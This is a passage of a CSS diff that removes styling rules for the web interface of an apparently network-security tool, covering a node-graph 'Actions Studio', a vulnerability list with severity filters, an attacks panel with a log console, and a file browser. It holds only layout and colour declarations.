4000px; - height: 3000px; -} - -.studio-container #links { - position: absolute; - left: 0; - top: 0; - width: 4000px; - height: 3000px; - overflow: visible; - pointer-events: auto; -} - -.studio-container #controls { - position: absolute; - right: 10px; - bottom: 10px; - display: flex; - flex-direction: column; - gap: 6px; - z-index: 5; -} - -.studio-container .canvas-hint { - position: absolute; - left: 10px; - right: 72px; - bottom: 10px; - z-index: 6; - display: flex; - align-items: center; - gap: 8px; - padding: 8px 10px; - border-radius: 12px; - border: 1px solid var(--st-border); - background: color-mix(in oklab, #07111a 78%, transparent); - color: var(--st-muted); - backdrop-filter: blur(8px); - box-shadow: 0 6px 18px rgba(0, 0, 0, .25); -} - -.studio-container .canvas-hint strong { - color: var(--st-text); - font-size: 12px; -} - -.studio-container .canvas-hint span { - font-size: 12px; -} - -.studio-container .canvas-hint.hidden { - display: none; -} - -.studio-container .canvas-hint .btn.icon { - margin-left: auto; - width: 28px; - min-height: 28px; - border-radius: 999px; -} - -.studio-container .ctrl { - width: 44px; - height: 44px; - border-radius: 12px; - border: 1px solid var(--st-border); - background: #0a1f2e; - color: var(--st-text); - cursor: pointer; - transition: all .2s; -} - -.studio-container .ctrl:hover { - background: #0c2437; - transform: scale(1.05); -} - -.studio-container .ctrl:active { - transform: scale(.97); -} - -.studio-container .node { - position: absolute; - min-width: 240px; - max-width: 320px; - color: var(--st-text); - background: linear-gradient(180deg, var(--st-card) 0%, var(--st-card2) 100%); - border: 2px solid var(--st-border); - border-radius: 12px; - box-shadow: 0 12px 32px rgba(0, 0, 0, .28); - transition: transform .2s, box-shadow .2s, min-height .2s; - cursor: grab; -} - -.studio-container .node:active { - cursor: grabbing; -} - -.studio-container .node:hover { - transform: translateY(-2px); - box-shadow: 0 16px 40px rgba(0, 0, 0, .4); -} - -.studio-container .node.sel { - outline: 2px solid var(--st-neon); - outline-offset: 2px; -} - -.studio-container .nhdr { - display: flex; - align-items: center; - justify-content: space-between; - gap: 6px; - padding: 8px 10px; - border-bottom: 1px solid var(--st-border); - background: rgba(0, 0, 0, .2); - border-radius: 10px 10px 0 0; -} - -.studio-container .nname { - font-weight: 700; - font-size: 13px; - letter-spacing: .2px; - display: flex; - align-items: center; - gap: 6px; -} - -.studio-container .node-icon { - width: 20px; - height: 20px; - border-radius: 4px; - object-fit: cover; -} - -.studio-container .badge { - font-size: 11px; - color: #97e8ff; - background: #0b2b3f; - border: 1px solid #214b67; - padding: .14rem .45rem; - border-radius: 999px; -} - -.studio-container .nbody { - padding: 8px 10px; - display: grid; - gap: 6px; - font-size: 12px; - color: var(--st-muted); -} - -.studio-container .row { - display: flex; - gap: 8px; - align-items: center; - flex-wrap: wrap; -} - -.studio-container .k { - color: #7fa6c4; -} - -.studio-container .v { - color: var(--st-text); -} - -.studio-container .nclose { - border: none; - background: transparent; - color: #9fb4c9; - font-size: 16px; - cursor: pointer; - opacity: 0; - transition: opacity .2s; -} - -.studio-container .node:hover .nclose { - opacity: 1; -} - -.studio-container .host .badge { - color: #9effc5; - background: #0f2a22; - border-color: #1f604b; -} - -.studio-container .host { - background: linear-gradient(180deg, #0c241b, #0d2732); - border-color: var(--st-host); -} - -.studio-container .global .badge { - color: #e6ddff; - background: #1b1335; - border-color: #4a3cb0; -} - -.studio-container .global { - border-color: var(--st-global); -} - -.studio-container .bjorn { - min-width: 120px; - max-width: 140px; - border-radius: 12px; - overflow: hidden; -} - -.studio-container .bjorn .nhdr { - border-bottom: none; - background: linear-gradient(180deg, #1a1a2e, #16213e); -} - -.studio-container .rail { - position: absolute; - top: 10px; - bottom: 10px; - width: 18px; - border-radius: 10px; - border: 1px solid var(--st-border); - background: #0a1f2e; - display: flex; - flex-direction: column; - align-items: center; - gap: 6px; - padding: 6px; - cursor: crosshair; - z-index: 3; -} - -.studio-container .rail.left { - left: -10px; -} - -.studio-container .rail.right { - right: -10px; - background: #0f2a22; - border-color: #1f604b; -} - -.studio-container .port { - width: 10px; - height: 10px; - border: 2px solid #0a1120; - border-radius: 50%; - background: var(--st-neon2); - box-shadow: 0 0 10px rgba(88, 201, 255, .5); -} - -.studio-container .rail.right .port { - background: var(--st-neon); -} - -.studio-container .port.add { - opacity: .5; - outline: 1px dashed #31597b; -} - -.studio-container svg { - pointer-events: none; -} - -.studio-container .path { - fill: none; - stroke: var(--st-edge); - stroke-width: 2.5; - opacity: .95; - pointer-events: stroke; - cursor: pointer; - transition: all .2s; -} - -.studio-container .path:hover { - stroke-width: 3.5; - opacity: 1; -} - -.studio-container .path.ok { - stroke: var(--st-ok); -} - -.studio-container .path.bad { - stroke: var(--st-bad); -} - -.studio-container .path.req { - stroke: var(--st-neon2); -} - -.studio-container .path.flow { - stroke-dasharray: 6 9; - animation: as-flow 1.5s linear infinite; -} - -@keyframes as-flow { - to { - stroke-dashoffset: -60; - } -} - -.studio-container .edgelabel { - font-size: 11px; - fill: #d7ebff; - paint-order: stroke; - stroke: #0c1724; - stroke-width: 3px; - cursor: pointer; - pointer-events: all; -} - -.studio-container .edgelabel.bad { - fill: #ffd4da; -} - -.studio-container .edgelabel.ok { - fill: #c8ffe7; -} - -.studio-container .edgelabel.req { - fill: #d7e2ff; -} - -.studio-container #right { - background: var(--st-panel); - border: 1px solid var(--st-border); - border-radius: 12px; - padding: 10px; - display: flex; - flex-direction: column; - gap: 10px; - min-height: 0; - overflow: auto; -} - -.studio-container .section { - background: #0b1d2b; - border: 1px solid var(--st-border); - border-radius: 12px; - padding: 10px; -} - -.studio-container .section h3 { - margin: .2rem 0 .6rem; - font-size: 13px; - color: var(--st-muted); -} - -.studio-container label { - display: flex; - flex-direction: column; - gap: .3rem; - margin: .45rem 0; -} - -.studio-container label span { - font-size: 12px; - color: var(--st-muted); -} - -.studio-container input, -.studio-container select, -.studio-container textarea { - background: #0a1f2e; - color: var(--st-text); - border: 1px solid var(--st-border); - border-radius: 10px; - padding: .6rem .65rem; - font: inherit; - outline: none; - transition: all .2s; - min-height: 40px; -} - -.studio-container input:focus, -.studio-container select:focus, -.studio-container textarea:focus { - border-color: var(--st-neon2); - box-shadow: 0 0 0 2px rgba(87, 201, 255, 0.2); -} - -.studio-container textarea { - min-height: 86px; - resize: vertical; -} - -.studio-container .small { - font-size: 12px; - color: var(--st-muted); -} - -.studio-container .pill { - display: inline-flex; - gap: 6px; - align-items: center; - padding: .14rem .5rem; - border-radius: 999px; - border: 1px solid var(--st-border); - background: #0b2233; - font-size: 11px; -} - -.studio-container hr { - border: none; - border-top: 1px solid var(--st-border); - margin: .6rem 0; -} - -.studio-container .form-row { - display: grid; - grid-template-columns: 1fr 1fr; - gap: 10px; -} - -@media (max-width:600px) { - .studio-container .form-row { - grid-template-columns: 1fr; - } -} - -.studio-container footer { - display: flex; - align-items: center; - justify-content: space-between; - gap: 10px; - padding: 8px; - border-top: 1px solid var(--st-border); - background: linear-gradient(90deg, rgba(10, 23, 34, .6), rgba(6, 16, 24, .8)); - font-size: 12px; - color: var(--st-muted); -} - -.studio-container footer { - flex-wrap: wrap; - justify-content: flex-start; -} - -.studio-container .menu .item:hover { - background: color-mix(in oklab, var(--st-neon2) 16%, transparent); -} - -.studio-container #mainMenu { - z-index: 2400 !important; -} - -.studio-container .modal { - display: none; - position: fixed; - inset: 0; - background: rgba(0, 0, 0, .8); - z-index: 2500; - align-items: center; - justify-content: center; -} - -.studio-container .modal.show { - display: flex; -} - -.studio-container .modal-content { - background: var(--st-panel); - border: 1px solid var(--st-border); - border-radius: 16px; - padding: 20px; - max-width: 560px; - width: 92vw; - max-height: 90vh; - overflow: auto; -} - -.studio-container .modal-header { - display: flex; - justify-content: space-between; - align-items: center; - margin-bottom: 16px; -} - -.studio-container .modal-title { - font-size: 18px; - font-weight: 600; -} - -.studio-container .modal-close { - background: none; - border: none; - color: #fff; - font-size: 24px; - cursor: pointer; -} - -.studio-container #helpModal .section { - margin-bottom: 10px; -} - -.studio-container #helpModal .section .small { - display: block; - margin: 5px 0; -} - -.studio-container .edge-menu { - position: fixed; - background: var(--st-card); - border: 1px solid var(--st-border); - border-radius: 12px; - padding: 6px; - box-shadow: 0 8px 24px rgba(0, 0, 0, .4); - z-index: 2550; - display: none; -} - -.studio-container .edge-menu.show { - display: block; -} - -.studio-container .edge-menu-item { - padding: 10px 12px; - border-radius: 8px; - cursor: pointer; - font-size: 13px; -} - -.studio-container .edge-menu-item:hover { - background: #0b2233; -} - -.studio-container .edge-menu-item.danger { - color: var(--st-bad); -} - -.studio-mobile-dock { - display: none; - position: fixed; - left: 10px; - right: 10px; - bottom: calc(var(--h-bottombar, 56px) + 8px); - z-index: 2250; - gap: 6px; - align-items: center; - justify-content: space-between; - padding: 8px; - border: 1px solid var(--st-border); - border-radius: 14px; - background: color-mix(in oklab, #08131d 90%, transparent); - box-shadow: 0 10px 24px rgba(0, 0, 0, .35); - backdrop-filter: blur(8px); -} - -.studio-mobile-dock .btn { - min-height: 34px; - padding: .35rem .6rem; - font-size: 12px; -} - -.studio-mobile-stats { - color: var(--st-muted); - font-size: 11px; - min-width: 56px; - text-align: center; -} - -.studio-toast { - position: fixed; - right: 12px; - bottom: calc(var(--h-bottombar, 56px) + 74px); - z-index: 2800; - min-width: 180px; - max-width: min(92vw, 380px); - padding: 10px 14px; - border-radius: 10px; - border: 1px solid var(--st-border); - background: color-mix(in oklab, #0b1620 92%, transparent); - color: var(--st-text); - box-shadow: 0 8px 20px rgba(0, 0, 0, .32); - transition: opacity .25s ease; - opacity: 0; -} - -.studio-toast.success { - border-color: color-mix(in oklab, var(--ok) 60%, transparent); -} - -.studio-toast.error { - border-color: color-mix(in oklab, var(--danger) 60%, transparent); -} - -.studio-toast.warn { - border-color: color-mix(in oklab, var(--warning) 60%, transparent); -} - -@media (max-width:960px) { - .studio-container header { - flex-wrap: nowrap; - overflow: visible; - min-height: 44px; - padding: 6px 8px; - } - - .studio-container h1 { - white-space: nowrap; - } - - .studio-container .logo { - width: 18px; - height: 18px; - } - - .studio-container .canvas-hint { - right: 10px; - bottom: calc(var(--h-bottombar, 56px) + 58px); - } - - .studio-container #controls { - bottom: calc(var(--h-bottombar, 56px) + 58px); - } - - .studio-toast { - bottom: calc(var(--h-bottombar, 56px) + 108px); - } -} - -@media (max-width:640px) { - .studio-container footer { - display: none; - } - - .studio-container footer .pill:nth-child(4), - .studio-container footer .pill:nth-child(5) { - display: none; - } - - .studio-container .canvas-hint { - bottom: calc(var(--h-bottombar, 56px) + 58px); - } - - .studio-container .canvas-hint span { - display: none; - } - - .studio-mobile-dock .btn { - padding: .34rem .5rem; - min-width: 62px; - } -} - -/* ========================================================================== - SPA runtime compatibility (module class names) - Keeps old visual language while matching current JS markup. - ========================================================================== */ - -/* ---- Vulnerabilities module aliases ---- */ -.vuln-container .stats-bar { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); - gap: var(--gap-4); - margin-bottom: var(--gap-3); -} - -.vuln-container .stats-bar .stat-item { - background: var(--grad-card); - border-radius: var(--radius); - padding: var(--gap-4); - text-align: center; - border: 1px solid var(--c-border); - box-shadow: var(--elev); - display: grid; - gap: 6px; - justify-items: center; -} - -.vuln-container .stats-bar .stat-value { - font-size: 28px; - font-weight: 800; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; -} - -.vuln-container .vuln-controls { - background: var(--grad-card); - border-radius: var(--radius); - padding: var(--gap-4); - margin-bottom: var(--gap-3); - display: flex; - flex-wrap: wrap; - gap: var(--gap-3); - align-items: center; - border: 1px solid var(--c-border); - box-shadow: var(--elev); -} - -.vuln-container .vuln-buttons { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.vuln-container .global-search-container { - flex: 1; - min-width: 220px; - position: relative; -} - -.vuln-container .global-search-input { - width: 100%; - height: var(--control-h); - padding: 0 36px 0 var(--control-pad-x); - border: 1px solid var(--c-border-strong); - border-radius: var(--control-r); - background: var(--c-panel); - color: var(--ink); -} - -.vuln-container .global-search-input:focus { - outline: none; - border-color: var(--accent); - box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent) 28%, transparent); -} - -.vuln-container .clear-global-button { - position: absolute; - right: 8px; - top: 50%; - transform: translateY(-50%); - border: none; - background: none; - color: var(--danger); - cursor: pointer; - display: none; -} - -.vuln-container .clear-global-button.show { - display: inline-block; -} - -.vuln-container .vuln-btn { - border: 1px solid var(--c-border); - background: var(--c-panel); - color: var(--ink); - border-radius: var(--control-r); - padding: 8px 12px; - cursor: pointer; -} - -.vuln-container .vuln-btn.active { - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - border-color: var(--accent); - color: var(--white); -} - -.vuln-container .vuln-severity-bar { - display: flex; - gap: var(--gap-2); - flex-wrap: wrap; - margin-bottom: var(--gap-3); -} - -.vuln-container .vuln-severity-btn { - border: 1px solid var(--c-border); - background: var(--c-panel); - color: var(--ink); - border-radius: 999px; - padding: 5px 12px; - font-weight: 700; - cursor: pointer; -} - -.vuln-container .vuln-severity-btn.active { - box-shadow: 0 0 0 1px var(--c-border-hi) inset; -} - -.vuln-container .vuln-severity-btn.severity-critical.active { - background: var(--danger); - border-color: var(--danger); - color: var(--white); -} - -.vuln-container .vuln-severity-btn.severity-high.active { - background: var(--warning); - border-color: var(--warning); - color: var(--ink-invert); -} - -.vuln-container .vuln-severity-btn.severity-medium.active { - background: var(--accent-2); - border-color: var(--accent-2); - color: var(--ink-invert); -} - -.vuln-container .vuln-severity-btn.severity-low.active { - background: var(--ok); - border-color: var(--ok); - color: var(--ink-invert); -} - -.vuln-container .services-grid { - display: grid; - gap: var(--gap-4); - max-height: calc(100vh - 250px); - overflow-y: auto; -} - -.vuln-container .vuln-card-header { - padding: var(--gap-4); - background: var(--grad-quickpanel); - display: flex; - justify-content: space-between; - align-items: center; - gap: 10px; - cursor: pointer; - user-select: none; - border-bottom: 1px solid var(--c-border); -} - -.vuln-container .vuln-card-title { - display: flex; - align-items: center; - gap: var(--gap-3); - flex-wrap: wrap; - flex: 1; -} - -.vuln-container .collapse-indicator { - color: var(--muted); - transition: transform .3s ease; - font-size: 18px; -} - -.vuln-container .vuln-card.expanded .collapse-indicator { - transform: rotate(180deg); -} - -.vuln-container .vuln-content { - max-height: 0; - overflow: hidden; - transition: max-height .3s ease-out; -} - -.vuln-container .vuln-card.expanded .vuln-content { - max-height: 2400px; -} - -.vuln-container .vuln-detail-section { - margin-bottom: var(--gap-4); - padding: 0 var(--gap-4); -} - -.vuln-container .detail-text { - color: var(--ink); - font-size: 14px; - line-height: 1.5; -} - -.vuln-container .vuln-tag { - padding: 2px 8px; - border-radius: 999px; - font-size: 10px; - font-weight: 800; - text-transform: uppercase; - letter-spacing: .3px; - border: 1px solid var(--c-border); - background: var(--c-chip-bg); -} - -.vuln-container .vuln-tag.remediated { - background: color-mix(in oklab, var(--ok) 18%, var(--c-chip-bg)); - border-color: color-mix(in oklab, var(--ok) 40%, var(--c-border)); -} - -.vuln-container .vuln-tag.kev { - background: color-mix(in oklab, var(--danger) 18%, var(--c-chip-bg)); - border-color: color-mix(in oklab, var(--danger) 40%, var(--c-border)); -} - -.vuln-container .vuln-tag.exploit { - background: color-mix(in oklab, #9c27b0 18%, var(--c-chip-bg)); - border-color: color-mix(in oklab, #9c27b0 40%, var(--c-border)); -} - -.vuln-container .vuln-tag.epss { - background: color-mix(in oklab, var(--warning) 18%, var(--c-chip-bg)); - border-color: color-mix(in oklab, var(--warning) 40%, var(--c-border)); -} - -.vuln-container .vuln-pagination { - display: flex; - justify-content: center; - align-items: center; - gap: 8px; - margin-top: var(--gap-4); - padding: var(--gap-3); - flex-wrap: wrap; -} - -.vuln-container .vuln-page-btn { - border: 1px solid var(--c-border); - background: var(--c-panel); - color: var(--ink); - border-radius: 10px; - padding: 6px 10px; - cursor: pointer; -} - -.vuln-container .vuln-page-btn.active { - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - border-color: var(--accent); - color: var(--white); -} - -.vuln-container .vuln-page-btn.disabled { - opacity: .5; - cursor: not-allowed; -} - -.vuln-container .vuln-page-info { - color: var(--muted); - font-size: 13px; -} - -.vuln-container .vuln-modal { - display: none; - position: fixed; - inset: 0; - background: var(--glass-8); - z-index: 1000; -} - -.vuln-container .vuln-modal.show { - display: flex; - align-items: center; - justify-content: center; -} - -.vuln-container .vuln-modal-content { - background: var(--grad-modal); - border-radius: var(--radius); - max-width: 800px; - width: 90%; - max-height: 80vh; - overflow-y: auto; - border: 1px solid var(--c-border-strong); - box-shadow: var(--shadow-hover); -} - -.vuln-container .vuln-modal-header { - padding: var(--gap-4); - border-bottom: 1px solid var(--c-border); - display: flex; - justify-content: space-between; - align-items: center; - position: sticky; - top: 0; - background: var(--grad-quickpanel); - z-index: 1; -} - -.vuln-container .vuln-modal-title { - font-size: 18px; - font-weight: 800; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; -} - -.vuln-container .vuln-modal-close { - background: none; - border: none; - color: var(--muted); - font-size: 24px; - cursor: pointer; -} - -.vuln-container .vuln-modal-body { - padding: var(--gap-4); -} - -/* ---- Attacks module aliases ---- */ -.attacks-container { - display: flex; - gap: 20px; - min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar) - 8px); - align-items: stretch; - --page-sidebar-w: 320px; -} - -.attacks-container .attacks-sidebar { - width: var(--page-sidebar-w); - flex: 0 0 var(--page-sidebar-w); - min-width: 0; - min-height: 100%; - display: flex; - flex-direction: column; - gap: 0; - padding: 0; - overflow: hidden; -} - -.attacks-container .attacks-main { - width: auto; - flex: 1; - min-width: 0; - display: grid; - grid-template-rows: minmax(320px, auto) 1fr; - gap: 10px; - min-height: 0; - border: 1px solid var(--_border); - border-radius: 14px; - background: var(--grad-card); - box-shadow: var(--_shadow); - padding: 10px; -} - -.attacks-container .attacks-main .page-content { - height: 100%; - overflow: auto; -} - -.attacks-container .attacks-search-input { - width: 100%; - padding: 10px 12px; - border-radius: 10px; - border: 1px solid var(--_border); - background: var(--_panel-lo); - color: var(--_ink); -} - -.attacks-container .attacks-categories { - display: flex; - flex-wrap: wrap; - gap: 8px; -} - -.attacks-container .attacks-cat-pill { - border: 1px solid var(--_border); - background: var(--_panel-lo); - color: var(--_ink); - border-radius: 999px; - padding: 6px 10px; - cursor: pointer; - font-weight: 700; - display: inline-flex; - align-items: center; - gap: 6px; -} - -.attacks-container .attacks-cat-pill.active { - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid) 18%, transparent), color-mix(in oklab, var(--_acid2) 12%, transparent)); - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); -} - -.attacks-container .attacks-cat-pill .pill-count { - opacity: .8; - font-size: 12px; -} - -.attacks-container .attacks-list { - overflow: auto; - min-height: 0; - display: grid; - gap: 8px; -} - -.attacks-container .action-card { - display: grid; - grid-template-columns: auto 1fr auto; - gap: 10px; - align-items: center; - border: 1px solid var(--_border); - background: var(--_panel-lo); - border-radius: 12px; - padding: 8px; - cursor: pointer; - transition: .2s; -} - -.attacks-container .action-card:hover { - transform: translateY(-1px); - box-shadow: var(--_shadow); - background: var(--_panel-hi); -} - -.attacks-container .action-card.selected { - background: color-mix(in oklab, var(--_acid2) 16%, var(--_panel-hi)); - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); -} - -.attacks-container .action-card-img { - width: 56px; - height: 56px; - border-radius: 10px; - overflow: hidden; - border: 1px solid var(--_border); - background: #0b0e13; - display: grid; - place-items: center; -} - -.attacks-container .action-card-icon { - width: 100%; - height: 100%; - object-fit: cover; -} - -.attacks-container .action-card-name { - font-weight: 800; - color: var(--_ink); -} - -.attacks-container .action-card-desc { - font-size: 12px; - color: var(--_muted); -} - -.attacks-container .action-card-status { - font-size: 11px; - font-weight: 800; - border-radius: 999px; - padding: 3px 8px; - border: 1px solid var(--_border); -} - -.attacks-container .action-card-status.status-running { - background: color-mix(in oklab, var(--warning) 18%, var(--_panel)); - border-color: color-mix(in oklab, var(--warning) 40%, var(--_border)); -} - -.attacks-container .action-card-status.status-ok { - background: color-mix(in oklab, var(--ok) 18%, var(--_panel)); - border-color: color-mix(in oklab, var(--ok) 40%, var(--_border)); -} - -.attacks-container .action-card-status.status-err { - background: color-mix(in oklab, var(--danger) 18%, var(--_panel)); - border-color: color-mix(in oklab, var(--danger) 40%, var(--_border)); -} - -.attacks-container .attacks-detail { - overflow: auto; -} - -.attacks-container .detail-top { - display: grid; - gap: 8px; - margin-bottom: 10px; -} - -.attacks-container .detail-name { - font-size: 18px; - color: var(--_ink); -} - -.attacks-container .detail-meta { - color: var(--_muted); - font-size: 12px; - margin-left: 8px; -} - -.attacks-container .detail-desc { - color: var(--_muted); - font-size: 13px; -} - -.attacks-container .detail-section-label { - color: var(--_muted); - font-size: 12px; - text-transform: uppercase; - letter-spacing: .5px; - font-weight: 700; -} - -.attacks-container .detail-presets, -.attacks-container .detail-args, -.attacks-container .detail-free { - display: grid; - gap: 8px; - margin-bottom: 10px; -} - -.attacks-container .preset-chips { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.attacks-container .preset-chip { - border: 1px solid var(--_border); - background: var(--_panel-lo); - color: var(--_ink); - border-radius: 999px; - padding: 5px 10px; - cursor: pointer; -} - -.attacks-container .detail-fields { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); - gap: 10px; -} - -.attacks-container .arg-field { - display: grid; - gap: 6px; -} - -.attacks-container .arg-label { - color: var(--_muted); - font-size: 12px; -} - -.attacks-container .arg-ctl { - width: 100%; - padding: 8px 10px; - border-radius: 10px; - border: 1px solid var(--_border); - background: var(--_panel-lo); - color: var(--_ink); -} - -.attacks-container .arg-range-wrap { - display: grid; - grid-template-columns: 1fr auto; - gap: 8px; - align-items: center; -} - -.attacks-container .arg-range-val { - color: var(--_muted); - font-size: 12px; - min-width: 34px; - text-align: right; -} - -.attacks-container .detail-free-input { - width: 100%; - padding: 8px 10px; - border-radius: 10px; - border: 1px solid var(--_border); - background: var(--_panel-lo); - color: var(--_ink); -} - -.attacks-container .detail-actions { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.attacks-container .attacks-console { - display: grid; - grid-template-rows: auto 1fr; - min-height: 0; -} - -.attacks-container .attacks-log { - overflow: auto; - min-height: 180px; - max-height: 48vh; - border: 1px solid var(--_border); - border-radius: 10px; - background: var(--grad-console); - padding: 10px; - font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace; -} - -.attacks-container .log-line { - white-space: pre-wrap; - word-break: break-word; - font-size: 12px; - padding: 2px 0; -} - -.attacks-container .log-ok { - color: #9ff7c5; -} - -.attacks-container .log-warn { - color: #ffd27a; -} - -.attacks-container .log-err { - color: #ff99b3; -} - -.attacks-container .log-info { - color: #bfefff; -} - -.attacks-container .log-dim { - color: #7f97a8; -} - -@media (max-width: 1100px) { - .attacks-container.page-with-sidebar { - flex-direction: row; - } - - .attacks-container.page-with-sidebar .attacks-main { - min-width: 0; - } -} - -@media (max-width: 900px) { - .attacks-container.page-with-sidebar .attacks-main { - grid-template-rows: auto auto; - } -} - -/* ========================================================================== - SPA class compatibility aliases (visual parity with web_old) - ========================================================================== */ - -/* ---- Dashboard aliases ---- */ -.dashboard-container .grid-stack { - display: grid; - gap: var(--gap); -} - -.dashboard-container .state { - display: inline-flex; - align-items: center; -} - -.dashboard-container .key { - color: var(--_ink); - font-weight: 600; -} - -.dashboard-container .naked { - background: transparent; - box-shadow: none; - border: 0; -} - -/* ---- NetKB aliases ---- */ -.netkb-container .netkb-content { - min-height: 0; -} - -.netkb-container .netkb-empty { - border: 1px dashed var(--c-border-strong); - border-radius: 12px; - padding: 16px; - color: var(--muted); - text-align: center; - background: var(--panel); -} - -.netkb-container .badge-header { - display: block; - margin-bottom: 4px; -} - -.netkb-container .badge-status { - display: block; -} - -.netkb-container .badge-timestamp { - display: block; - margin-top: 4px; -} - -/* ---- Files module aliases ---- */ -.files-container .files-breadcrumb, -.files-container .files-toolbar { - border: 1px solid var(--_border); - border-radius: 12px; - background: color-mix(in oklab, var(--_panel) 90%, transparent); - box-shadow: var(--_shadow); - backdrop-filter: blur(12px); - -webkit-backdrop-filter: blur(12px); -} - -.files-container .files-breadcrumb { - display: flex; - flex-wrap: wrap; - align-items: center; - gap: 6px; - padding: 8px 10px; -} - -.files-container .files-bc-item { - display: inline-flex; - align-items: center; - gap: 6px; - padding: 4px 8px; - border-radius: 8px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 96%, transparent); - color: var(--_ink); - cursor: pointer; -} - -.files-container .files-bc-item:hover { - filter: brightness(1.06); -} - -.files-container .files-bc-sep { - color: var(--_muted); -} - -.files-container .files-toolbar { - display: flex; - gap: 8px; - flex-wrap: wrap; - align-items: center; - padding: 8px; -} - -.files-container .global-search-input { - flex: 1; - min-width: 220px; - padding: 10px 12px; - border-radius: 10px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 96%, transparent); - color: var(--_ink); -} - -.files-container .global-search-input:focus { - outline: none; - border-color: color-mix(in oklab, var(--_acid2) 35%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); -} - -.files-container .vuln-btn { - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 92%, transparent); - color: var(--_ink); - border-radius: 10px; - padding: 8px 10px; - cursor: pointer; - font-weight: 700; -} - -.files-container .vuln-btn:hover { - filter: brightness(1.06); -} - -.files-container .btn-sm { - padding: 4px 6px; - font-size: 12px; -} - -.files-container .btn-danger { - border-color: color-mix(in oklab, var(--danger) 40%, var(--_border)); - color: color-mix(in oklab, var(--danger) 80%, var(--_ink)); -} - -.files-container .files-table-list { - border: 1px solid var(--_border); - border-radius: 12px; - overflow: auto; - background: color-mix(in oklab, var(--_panel) 90%, transparent); - box-shadow: var(--_shadow); -} - -.files-container .files-row { - display: grid; - grid-template-columns: 40px minmax(180px, 1fr) 120px 170px 140px; - align-items: center; - gap: 8px; - padding: 8px 10px; - border-bottom: 1px solid var(--_border); -} - -.files-container .files-header { - position: sticky; - top: 0; - z-index: 2; - font-weight: 800; - background: color-mix(in oklab, var(--_panel) 98%, transparent); -} - -.files-container .files-row.files-dir:hover, -.files-container .files-row.files-file:hover { - background: color-mix(in oklab, var(--_acid2) 10%, transparent); -} - -.files-container .files-cell { - min-width: 0; -} - -.files-container .files-name { - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} - -.files-container .files-size, -.files-container .files-date { - color: var(--_muted); -} - -.files-container .files-actions { - display: inline-flex; - gap: 6px; - justify-content: flex-end; -} - -.files-container .sortable { - cursor: pointer; - user-select: none; -} - -.files-container .db-status { - color: var(--_muted); - font-size: 12px; - padding: 4px 2px; -} - -/* ========================================================================== - SPA runtime compatibility aliases (modules that use new class names) - ========================================================================== */ - -.muted { - color: var(--muted); -} - -/* ---- Actions Studio runtime aliases ---- */ -.studio-container:not(.studio-runtime-host) { - display: grid; - grid-template-columns: minmax(300px, 340px) 1fr; - gap: 10px; - min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar) - 12px); -} - -.studio-container:not(.studio-runtime-host) .studio-sidebar { - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 12px; - background: var(--st-panel, var(--c-panel-2)); - box-shadow: var(--shadow); - display: grid; - grid-template-rows: auto 1fr; - overflow: hidden; - min-height: 0; -} - -.studio-container:not(.studio-runtime-host) .sidebar-header { - padding: 10px; - border-bottom: 1px dashed var(--st-border, var(--c-border)); - display: grid; - gap: 8px; -} - -.studio-container:not(.studio-runtime-host) .sidebar-list { - padding: 10px; - overflow: auto; - display: grid; - gap: 8px; -} - -.studio-container:not(.studio-runtime-host) .sidebar-item { - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 10px; - background: var(--st-card, var(--c-panel)); - padding: 8px; - cursor: pointer; - transition: .18s; -} - -.studio-container:not(.studio-runtime-host) .sidebar-item:hover { - transform: translateX(2px); - box-shadow: var(--shadow); -} - -.studio-container:not(.studio-runtime-host) .sidebar-item.active { - outline: 2px solid color-mix(in oklab, var(--accent-2, #18f0ff) 45%, transparent); -} - -.studio-container:not(.studio-runtime-host) .sidebar-item-name { - font-weight: 700; -} - -.studio-container:not(.studio-runtime-host) .sidebar-item-meta, -.studio-container:not(.studio-runtime-host) .sidebar-item-info, -.studio-container:not(.studio-runtime-host) .sidebar-empty { - color: var(--muted); - font-size: 12px; -} - -.studio-container:not(.studio-runtime-host) .sidebar-delete-btn { - justify-self: end; -} - -.studio-container:not(.studio-runtime-host) .studio-main { - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 12px; - background: var(--st-panel, var(--c-panel-2)); - box-shadow: var(--shadow); - padding: 10px; - display: grid; - grid-template-rows: auto 1fr; - gap: 10px; - min-height: 0; -} - -.studio-container:not(.studio-runtime-host) .studio-toolbar { - display: flex; - gap: 8px; - align-items: center; - flex-wrap: wrap; -} - -.studio-container:not(.studio-runtime-host) .toolbar-spacer { - flex: 1; -} - -.studio-container:not(.studio-runtime-host) .studio-btn { - border: 1px solid var(--st-border, var(--c-border-strong)); - background: var(--st-card, var(--c-panel)); - color: var(--st-text, var(--ink)); - border-radius: 10px; - padding: 8px 10px; - cursor: pointer; - font-weight: 700; -} - -.studio-container:not(.studio-runtime-host) .studio-btn:hover { - transform: translateY(-1px); - box-shadow: var(--shadow); -} - -.studio-container:not(.studio-runtime-host) .studio-panels { - display: grid; - grid-template-columns: 1.2fr .8fr; - gap: 10px; - min-height: 0; -} - -.studio-container:not(.studio-runtime-host) .studio-editor, -.studio-container:not(.studio-runtime-host) .studio-preview { - border: 1px solid var(--st-border, var(--c-border)); - border-radius: 12px; - background: var(--st-card, 